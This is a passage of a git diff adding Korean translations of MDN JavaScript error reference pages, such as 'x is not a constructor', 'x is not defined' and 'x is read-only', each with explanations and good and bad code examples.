+String.fromCodePoint(NaN); // RangeError</pre>
+
+<h3 id="유효한_경우">유효한 경우</h3>
+
+<pre class="brush: js example-good">String.fromCodePoint(42); // "*"
+String.fromCodePoint(65, 90); // "AZ"
+String.fromCodePoint(0x404); // "\u0404"
+String.fromCodePoint(0x2F804); // "\uD87E\uDC04"
+String.fromCodePoint(194564); // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/not_a_constructor/index.html b/files/ko/web/javascript/reference/errors/not_a_constructor/index.html
new file mode 100644
index 0000000000..80bc235779
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/not_a_constructor/index.html
@@ -0,0 +1,91 @@
+---
+title: 'TypeError: "x" is not a constructor'
+slug: Web/JavaScript/Reference/Errors/Not_a_constructor
+translation_of: Web/JavaScript/Reference/Errors/Not_a_constructor
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">TypeError: "x" is not a constructor
+
+TypeError: Math is not a constructor
+TypeError: JSON is not a constructor
+TypeError: Symbol is not a constructor
+TypeError: Reflect is not a constructor
+TypeError: Intl is not a constructor
+TypeError: SIMD is not a constructor
+TypeError: Atomics is not a constructor
+</pre>
+
+<h2 id="오류_유형">오류 유형</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="뭐가_잘못된_거죠">뭐가 잘못된 거죠?</h2>
+
+<p>객체 혹은 변수를 생성자로 사용하려고 했습니다, 하지만 객체(혹은 변수)가 생성자가 아닙니다. 생성자가 무엇인지에 대한 자세한 정보는 {{Glossary("constructor")}} 혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a> 를 참조하시기 바랍니다.</p>
+
+<p>{{jsxref("String")}} 혹은 {{jsxref("Array")}}와 같이 <code>new</code>,를 사용하여 생성할 수 있는 전역 객체들이 있습니다. 하지만 일부 전역 객체들은 그렇지 않고 속성과 메서드가 정적입니다. 다음의 자바스크립트 표준 내장 객체들은 생성자가 아닙니다: {{jsxref("Math")}}, {{jsxref("JSON")}}, {{jsxref("Symbol")}}, {{jsxref("Reflect")}}, {{jsxref("Intl")}}, {{jsxref("SIMD")}}, {{jsxref("Atomics")}}.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Generator functions</a> 또한 생성자로 사용될 수 없습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="유효하지_않은_경우">유효하지 않은 경우</h3>
+
+<pre class="brush: js example-bad">var Car = 1;
+new Car();
+// TypeError: Car is not a constructor
+
+new Math();
+// TypeError: Math is not a constructor
+
+new Symbol();
+// TypeError: Symbol is not a constructor
+
+function* f() {};
+var obj = new f;
+// TypeError: f is not a constructor
+</pre>
+
+<h3 id="car_생성자">car 생성자</h3>
+
+<p>자동차(car) 객체를 만들고자 한다고 가정합니다. 이 객체의 타입을 <code>car</code>라 하고 make, model, and year 세 개의 프로퍼티를 갖습니다. 이를 위해 다음과 같은 함수를 작성할 것입니다:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+}
+</pre>
+
+<p>이제 다음과 같이 <code>mycar</code> 라 불리는 객체를 생성할 수 있습니다:</p>
+
+<pre class="brush: js">var mycar = new Car('Eagle', 'Talon TSi', 1993);</pre>
+
+<h3 id="프라미스_이용">프라미스 이용</h3>
+
+<p>즉시 실행되는 프라미스를 반환하는 경우에는 <em>새로운 Promise(...)</em>를 생성할 필요가 없습니다.</p>
+
+<p>아래는 올바른 방법이 아닙니다(<a href="https://developer.mozilla.org/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm/Promise#Constructor">프라미스 생성자</a>가 제대로 호출되고 있지 않습니다). <code>TypeError: this is not a constructor</code> 예외를 던지게 됩니다:</p>
+
+<pre class="brush: js example-bad">return new Promise.resolve(true);
+</pre>
+
+<p>대신, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">Promise.resolve()</a> 혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject">Promise.reject()</a> <a href="https://en.wikipedia.org/wiki/Method_(computer_programming)#Static_methods">정적 메서드</a>를 사용하십시오:</p>
+
+<pre class="brush: js">// This is legal, but unnecessarily long:
+return new Promise((resolve, reject) =&gt; { resolve(true); })
+
+// Instead, return the static method:
+return Promise.resolve(true);
+return Promise.reject(false);
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Glossary("constructor")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/not_defined/index.html b/files/ko/web/javascript/reference/errors/not_defined/index.html
new file mode 100644
index 0000000000..6b403dd848
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/not_defined/index.html
@@ -0,0 +1,66 @@
+---
+title: 'ReferenceError: "x" is not defined'
+slug: Web/JavaScript/Reference/Errors/Not_defined
+translation_of: Web/JavaScript/Reference/Errors/Not_defined
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">ReferenceError: "x" is not defined
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>존재하지 않는 변수를 참조하는 곳이 있습니다. 이 변수는 선언되어야 합니다. 또는, 현재 스크립트나 {{Glossary("scope")}} 에서 사용이 가능하도록 해야합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 라이브러리(예를 들면 jQuery와 같은)의 로딩은, 반드시 코드에서  "$"와 같은 라이브러리 변수에 접근하기 이전에 수행되어야 합니다. 라이브러리를 로딩하는 {{HTMLElement("script")}} 태그가 그 변수를 사용하는 코드보다 앞에 위치하도록 하세요.</p>
+</div>
+
+<h2 id="예">예</h2>
+
+<h3 id="선언되지_않은_변수">선언되지 않은 변수</h3>
+
+<pre class="brush: js example-bad">foo.substring(1); // ReferenceError: foo is not defined
+</pre>
+
+<p>"foo" 변수는 어디에도 선언되지 않았습니다. {{jsxref("String.prototype.substring()")}} 메소드가 작동하도록 하기 위해서는 문자열을 필요로 합니다.</p>
+
+<pre class="brush: js example-good">var foo = "bar";
+foo.substring(1); // "ar"</pre>
+
+<h3 id="잘못된_스코프">잘못된 스코프</h3>
+
+<p>변수는 현재의 실행 흐름 내에서 이용 가능해야합니다. 함수 내부에 정의된 변수는 다른 외부의 함수에서는 접근할 수 없습니다. 그 때문에, 변수는 함수의 스코프 내부에서만 정의 됩니다.</p>
+
+<pre class="brush: js example-bad">function numbers () {
+ var num1 = 2,
+ num2 = 3;
+ return num1 + num2;
+}
+
+console.log(num1); // ReferenceError: num1 is not defined</pre>
+
+<p>그러나, 함수는 모든 변수와 정의된 스코프 안에 정의된 함수에 접근할 수 있습니다. 따라서, 전역으로 정의된 함수는 전역에 정의된 모든 변수에도 접근할 수 있습니다.</p>
+
+<pre class="brush: js example-good">var num1 = 2,
+ num2 = 3;
+
+function numbers () {
+ return num1 + num2;
+}
+
+console.log(num1); // 2</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{Glossary("Scope")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declaring_variables">Declaring variables in the JavaScript Guide</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope/en-US/docs/">Function scope in the JavaScript Guide</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/precision_range/index.html b/files/ko/web/javascript/reference/errors/precision_range/index.html
new file mode 100644
index 0000000000..43ab7392e4
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/precision_range/index.html
@@ -0,0 +1,92 @@
+---
+title: 'RangeError: precision is out of range'
+slug: Web/JavaScript/Reference/Errors/Precision_range
+translation_of: Web/JavaScript/Reference/Errors/Precision_range
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: precision {0} out of range (Firefox)
+RangeError: toExponential() argument must be between 0 and 20 (Chrome)
+RangeError: toFixed() digits argument must be between 0 and 20 (Chrome)
+RangeError: toPrecision() argument must be between 1 and 21 (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>아래의 메소드들 중 하나에서,  실행 인자(argument)가 정확도의 범위를 벗어났습니다. :</p>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
+
+<p>이 메소드들에게 허용된 범위는 0부터 20 (또는 21)까지 입니다. 하지만, ECMAScript 스펙은 아래의 범위까지 확장하여 허용하고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Method</th>
+ <th scope="col">Firefox (SpiderMonkey)</th>
+ <th scope="col">Chrome, Opera (V8)</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Number.prototype.toExponential()")}}</td>
+ <td>0 부터 100</td>
+ <td>0 부터 20</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.prototype.toFixed()")}}</td>
+ <td>-20 부터 100</td>
+ <td>0 부터 20</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Number.prototype.toPrecision()")}}</td>
+ <td>1 부터 100</td>
+ <td>1 부터 21</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예">예</h2>
+
+<h3 id="유효하지_않은_경우">유효하지 않은 경우</h3>
+
+<pre class="brush: js example-bad">77.1234.toExponential(-1); // RangeError
+77.1234.toExponential(101); // RangeError
+
+2.34.toFixed(-100); // RangeError
+2.34.toFixed(1001); // RangeError
+
+1234.5.toPrecision(-1); // RangeError
+1234.5.toPrecision(101); // RangeError
+</pre>
+
+<h3 id="유효한_경우">유효한 경우</h3>
+
+<pre class="brush: js example-good">77.1234.toExponential(4); // 7.7123e+1
+77.1234.toExponential(2); // 7.71e+1
+
+2.34.toFixed(1); // 2.3
+2.35.toFixed(1); // 2.4 (note that it rounds up in this case)
+
+5.123456.toPrecision(5); // 5.1235
+5.123456.toPrecision(2); // 5.1
+5.123456.toPrecision(1); // 5
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/property_access_denied/index.html b/files/ko/web/javascript/reference/errors/property_access_denied/index.html
new file mode 100644
index 0000000000..2468d0221a
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/property_access_denied/index.html
@@ -0,0 +1,42 @@
+---
+title: 'Error: Permission denied to access property "x"'
+slug: Web/JavaScript/Reference/Errors/Property_access_denied
+translation_of: Web/JavaScript/Reference/Errors/Property_access_denied
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">Error: Permission denied to access property "x"
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("Error")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>접근이 허가되지 않은 객체에 접근하기 위한 시도가 있었습니다. 아마 동일 출처 정책(<a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>)을 침해하여 다른 도메인으로부터 로드된 {{HTMLElement("iframe")}} 엘리먼트에 대한 것이었을 겁니다.</p>
+
+<h2 id="예">예</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"&gt;&lt;/iframe&gt;
+    &lt;script&gt;
+      onload = function() {
+ console.log(frames[0].document);
+ // Error: Permission denied to access property "document"
+ }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/read-only/index.html b/files/ko/web/javascript/reference/errors/read-only/index.html
new file mode 100644
index 0000000000..7260fd71f8
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/read-only/index.html
@@ -0,0 +1,77 @@
+---
+title: 'TypeError: "x" is read-only'
+slug: Web/JavaScript/Reference/Errors/Read-only
+translation_of: Web/JavaScript/Reference/Errors/Read-only
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">TypeError: "x" is read-only (Firefox)
+TypeError: 0 is read-only (Firefox)
+TypeError: Cannot assign to read only property 'x' of #&lt;Object&gt; (Chrome)
+TypeError: Cannot assign to read only property '0' of [object Array] (Chrome)
+</pre>
+
+<h2 id="에러_유형">에러 유형</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="무엇이_잘못_된_걸까">무엇이 잘못 된 걸까?</h2>
+
+<p>전역변수 또는 객체 프로퍼티가 읽기 전용으로 할당된 경우입니다.(엄밀히 따지자면 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Writable_attribute">쓰기가 불가능한 데이터 속성입니다.</a>)</p>
+
+<p>이 에러는 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">엄격모드</a>에서만 등장합니다.  엄격하지 않은 모드에서는 읽기전용 속성은 묵시적으로 무시됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="적절하지_않은_예">적절하지 않은 예</h3>
+
+<p>읽기 전용 속성은 아주 흔한 것은 아니지만, {{jsxref("Object.defineProperty()")}} 나 {{jsxref("Object.freeze()")}} 를 이용해 만들어 질 수 있습니다.</p>
+
+<pre class="brush: js example-bad">'use strict';
+var obj = Object.freeze({name: 'Elsa', score: 157});
+obj.score = 0; // TypeError
+
+'use strict';
+Object.defineProperty(this, 'LUNG_COUNT', {value: 2, writable: false});
+LUNG_COUNT = 3; // TypeError
+
+'use strict';
+var frozenArray = Object.freeze([0, 1, 2]);
+frozenArray[0]++; // TypeError
+</pre>
+
+<p>자바 스크립트에는 몇 가지 읽기 전용 속성이 내장되어 있습니다. 아마도 수학적 상수를 재정의하려고 한 것 같습니다.</p>
+
+<pre class="brush: js example-bad">'use strict';
+Math.PI = 4; // TypeError
+</pre>
+
+<p>이렇게는 불가능합니다.</p>
+
+<p>전역변수 <code>undefined</code>  또한 읽기전용으로, 사람들이 모두 좋아하지 않는 "undefined is not a function" 에러가 다음과 같은 경우 등장합니다:</p>
+
+<pre class="brush: js example-bad">'use strict';
+undefined = function() {}; // TypeError: "undefined" is read-only
+</pre>
+
+<h3 id="적절한_예">적절한 예</h3>
+
+<pre class="brush: js example-good">'use strict';
+var obj = Object.freeze({name: 'Score', points: 157});
+obj = {name: obj.name, points: 0}; // replacing it with a new object works
+
+'use strict';
+var LUNG_COUNT = 2; // a `var` works, because it's not read-only
+LUNG_COUNT = 3; // ok (anatomically unlikely, though)
+</pre>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li><a href="https://www.answers.com/Q/Which_animals_have_three_lungs">"Which animals have three lungs?" on answers.com</a></li>
+ <li><a href="https://aliens.wikia.com/wiki/Klingon">Klingons</a> (another answer to that query)</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html b/files/ko/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html
new file mode 100644
index 0000000000..53796ea87f
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html
@@ -0,0 +1,83 @@
+---
+title: 'TypeError: Reduce of empty array with no initial value'
+slug: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value
+translation_of: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: 초기값이 없는 빈 배열에 대한 recude는 에러
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>자바스크립크에서 몇 몇의 reduce 함수들:</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}} and</li>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}},  {{jsxref("TypedArray.prototype.reduceRight()")}}).</li>
+</ul>
+
+<p>이러한 함수들은 선택적으로 초기값(<code>initialValue</code>)을 사용합니다.(콜백(<code>callback)</code>의 첫번째 호출에 대한 첫번째 인수로 사용됩니다.) 그러나, 만약에 초기값을 설정하지 않는다면, {{jsxref("Array")}} or {{jsxref("TypedArray")}}에 대한 첫번째 엘리먼트를 초기값으로 사용 합니다. 이런 경우에 초기값이 없기 때문에 빈 배열이 제공될 경우 오류가 발생 합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Invalid_cases">Invalid cases</h3>
+
+<p>This problem appears frequently when combined with a filter ({{jsxref("Array.prototype.filter()")}}, {{jsxref("TypedArray.prototype.filter()")}}) which will remove all elements of the list. Thus leaving none to be used as the initial value.</p>
+
+<pre class="brush: js example-bad">var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x =&gt; x &gt; 0) // removes all elements
+ .reduce((x, y) =&gt; x + y) // no more elements to use for the initial value.</pre>
+
+<p>Similarly, the same issue can happen if there is a typo in a selector, or an unexpected number of elements in a list:</p>
+
+<pre class="brush: js example-bad">var names = document.getElementsByClassName("names");
+var name_list = Array.prototype.reduce.call(names, (acc, name) =&gt; acc + ", " + name);
+</pre>
+
+<h3 id="Valid_cases">Valid cases</h3>
+
+<p>These problems can be solved in two different ways.</p>
+
+<p>One way is to actually provide an <code>initialValue</code>  as the neutral element of the operator, such as 0 for the addition, 1 for a multiplication, or an empty string for a concatenation.</p>
+
+<pre class="brush: js example-good">var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x =&gt; x &gt; 0) // removes all elements
+ .reduce((x, y) =&gt; x + y, 0) // the initial value is the neutral element of the addition
+</pre>
+
+<p>Another way would be two to handle the empty case, either before calling <code>reduce</code>, or in the callback after adding an unexpected dummy initial value.</p>
+
+<pre class="brush: js example-good">var names = document.getElementsByClassName("names");
+
+var name_list1 = "";
+if (names1.length &gt;= 1)
+ name_list1 = Array.prototype.reduce.call(names, (acc, name) =&gt; acc + ", " + name);
+// name_list1 == "" when names is empty.
+
+var name_list2 = Array.prototype.reduce.call(names, (acc, name) =&gt; {
+ if (acc == "") // initial value
+ return name;
+ return acc + ", " + name;
+}, "");
+// name_list2 == "" when names is empty.
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("Array.prototype.filter()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.filter()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/reserved_identifier/index.html b/files/ko/web/javascript/reference/errors/reserved_identifier/index.html
new file mode 100644
index 0000000000..8a1932d9cc
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/reserved_identifier/index.html
@@ -0,0 +1,80 @@
+---
+title: 'SyntaxError: "x" is a reserved identifier'
+slug: Web/JavaScript/Reference/Errors/Reserved_identifier
+tags:
+ - 구문 에러
+ - 예약어
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Reserved_identifier
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: The use of a future reserved word for an identifier is invalid (Edge)
+SyntaxError: "x" is a reserved identifier (Firefox)
+SyntaxError: Unexpected reserved word (Chrome)</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">예약어</a>가 식별자로 쓰인 경우 발생하는 에러입니다. 이 키워드는 엄격(Strict) 모드와 느슨한(Sloppy) 모드에서 모두 예약어로 취급됩니다.</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>다음은 엄격 모드의 코드에서만 예약어로 취급됩니다:</p>
+
+<ul class="threecolumns">
+ <li><code>implements</code></li>
+ <li><code>interface</code></li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li><code>package</code></li>
+ <li><code>private</code></li>
+ <li><code>protected</code></li>
+ <li><code>public</code></li>
+ <li><code>static</code></li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="엄격_모드와_엄격하지_않은_모드에서의_예약어">엄격 모드와 엄격하지 않은 모드에서의 예약어</h3>
+
+<p><code>enum</code> 식별자는 일반적으로 예약되어 있습니다.</p>
+
+<pre class="brush: js example-bad">var enum = { RED: 0, GREEN: 1, BLUE: 2 };
+// SyntaxError: enum is a reserved identifier
+</pre>
+
+<p>엄격 모드의 코드에선 더 많은 식별자들이 예약되어 있습니다.</p>
+
+<pre class="brush: js example-bad">"use strict";
+var package = ["potatoes", "rice", "fries"];
+// SyntaxError: package is a reserved identifier
+</pre>
+
+<p>이 변수들의 이름을 변경해야 합니다.</p>
+
+<pre class="brush: js example-good">var colorEnum = { RED: 0, GREEN: 1, BLUE: 2 };
+var list = ["potatoes", "rice", "fries"];</pre>
+
+<h3 id="오래된_브라우저의_업데이트">오래된 브라우저의 업데이트</h3>
+
+<p>새로운 구문을 사용하기 위해서는 최근 버전의 브라우저로 업데이트 해야 합니다. 예를 들어, 오래된 브라우저를 사용하고 있다면 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 또는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">class</a></code> 구현할 수 없습니다.</p>
+
+<pre class="brush: js">"use strict";
+class DocArchiver {}
+
+// SyntaxError: class is a reserved identifier
+// (오래된 버전의 브라우저에서만 에러가 발생합니다. 예) Firefox 44 이하)
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://wiki.c2.com/?GoodVariableNames">Good variable names</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/resulting_string_too_large/index.html b/files/ko/web/javascript/reference/errors/resulting_string_too_large/index.html
new file mode 100644
index 0000000000..20e28cbe2b
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/resulting_string_too_large/index.html
@@ -0,0 +1,46 @@
+---
+title: 'RangeError: repeat count must be less than infinity'
+slug: Web/JavaScript/Reference/Errors/Resulting_string_too_large
+translation_of: Web/JavaScript/Reference/Errors/Resulting_string_too_large
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: repeat count must be less than infinity and not overflow maximum string size (Firefox)
+(repeat count는 infinity보다 작아야하며, 최대 문자열 크기를 넘길 수 없습니다.)
+
+RangeError: Invalid count value (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p> {{jsxref("String.prototype.repeat()")}} 메소드가 사용되었습니다. 이 메소드는 문자열을 반복하는 수를 예측하는 카운트 파라메터를 가지고 있었습니다. 그리고 이 파라메터는 0보다 커야하며, 양의 {{jsxref("Infinity")}} 보다 작아야 했으며, 음수는 허용되지 않았습니다. 이 값의 허용 범위는 이렇게 표현될 수 있습니다. : [0, +∞). </p>
+
+<p>결과인 문자열은 최대 문자열 크기보다 클 수 없지만, JavaScript 에서는 다를 수 있습니다. Firefox (SpiderMonkey) 에서의 최대 문자열 크기는 2<sup>28</sup> -1 (<code>0xFFFFFFF</code>)입니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<pre class="brush: js example-bad">'abc'.repeat(Infinity); // RangeError
+'a'.repeat(2**28); // RangeError
+</pre>
+
+<h3 id="허용되는_경우">허용되는 경우</h3>
+
+<pre class="brush: js example-good">'abc'.repeat(0); // ''
+'abc'.repeat(1); // 'abc'
+'abc'.repeat(2); // 'abcabc'
+'abc'.repeat(3.5); // 'abcabcabc' (숫자는 정수로 변환될 것입니다.)
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.repeat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/ko/web/javascript/reference/errors/strict_non_simple_params/index.html
new file mode 100644
index 0000000000..8c07f4b46a
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/strict_non_simple_params/index.html
@@ -0,0 +1,107 @@
+---
+title: 'SyntaxError: "use strict" not allowed in function with non-simple parameters'
+slug: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params
+translation_of: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Firefox:
+SyntaxError: "use strict" not allowed in function with default parameter
+SyntaxError: "use strict" not allowed in function with rest parameter
+SyntaxError: "use strict" not allowed in function with destructuring parameter
+
+Chrome:
+SyntaxError: Illegal 'use strict' directive in function with non-simple parameter list
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="무엇이_잘못_되었을까요">무엇이 잘못 되었을까요?</h2>
+
+<p> <code>"use strict"</code> 지시문은 다음 매개변수 중 한 개가 있는 함수의 맨 위에 작성됩니다:</p>
+
+<ul>
+ <li>{{jsxref("Functions/Default_parameters", "Default parameters", "", 1)}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Rest parameters", "", 1)}}</li>
+ <li>{{jsxref("Operators/Destructuring_assignment", "Destructuring parameters", "", 1)}}</li>
+</ul>
+
+<p><code>"use strict"</code> 지시문은 ECMAScript 동작에 따라 이러한 함수의 맨 위에 허용되지 않습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="기능_명세서">기능 명세서</h3>
+
+<p>다음은 함수 <code>sum</code> 에는 기본 매개 변수 <code>a=1</code> 및 <code>b=2</code>가 있는 경우입니다:</p>
+
+<pre class="brush: js example-bad">function sum(a = 1, b = 2) {
+ // SyntaxError: "use strict" not allowed in function with default parameter
+ 'use strict';
+ return a + b;
+}
+</pre>
+
+<p>함수가 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> 모드에 있어야 하고 전체 스크립트 또는 포함된 함수가 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>에 있어도 괜찮으면 함수 외부에서 <code>"use strict"</code> 지시문을 이동할 수 있습니다:</p>
+
+<pre class="brush: js example-good">'use strict';
+function sum(a = 1, b = 2) {
+ return a + b;
+}
+</pre>
+
+<h3 id="함수_표현식">함수 표현식</h3>
+
+<p>함수 표현식은 또 다른 해결방법을 사용할 수 있습니다:</p>
+
+<pre class="brush: js example-bad">var sum = function sum([a, b]) {
+ // SyntaxError: "use strict" not allowed in function with destructuring parameter
+ 'use strict';
+ return a + b;
+};
+</pre>
+
+<p>이것은 다음 표현식으로 변환 될 수 있습니다:</p>
+
+<pre class="brush: js example-good">var sum = (function() {
+ 'use strict';
+ return function sum([a, b]) {
+ return a + b;
+ };
+})();
+</pre>
+
+<h3 id="화살표_함수">화살표 함수</h3>
+
+<p>화살표 함수가 <code>this</code>에 접근해야 하는 경우에는,  둘러싼 함수로 화살표 함수를 사용할 수 있습니다:</p>
+
+<pre class="brush: js example-bad">var callback = (...args) =&gt; {
+ // SyntaxError: "use strict" not allowed in function with rest parameter
+ 'use strict';
+ return this.run(args);
+};
+</pre>
+
+<p>이것은 다음 표현식과 같이 변환될 수 있습니다:</p>
+
+<pre class="brush: js example-good">var callback = (() =&gt; {
+ 'use strict';
+ return (...args) =&gt; {
+ return this.run(args);
+ };
+})();
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Strict_mode", "Strict mode", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "function statement", "", 1)}}</li>
+ <li>{{jsxref("Operators/function", "function expression", "", 1)}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "Default parameters", "", 1)}}</li>
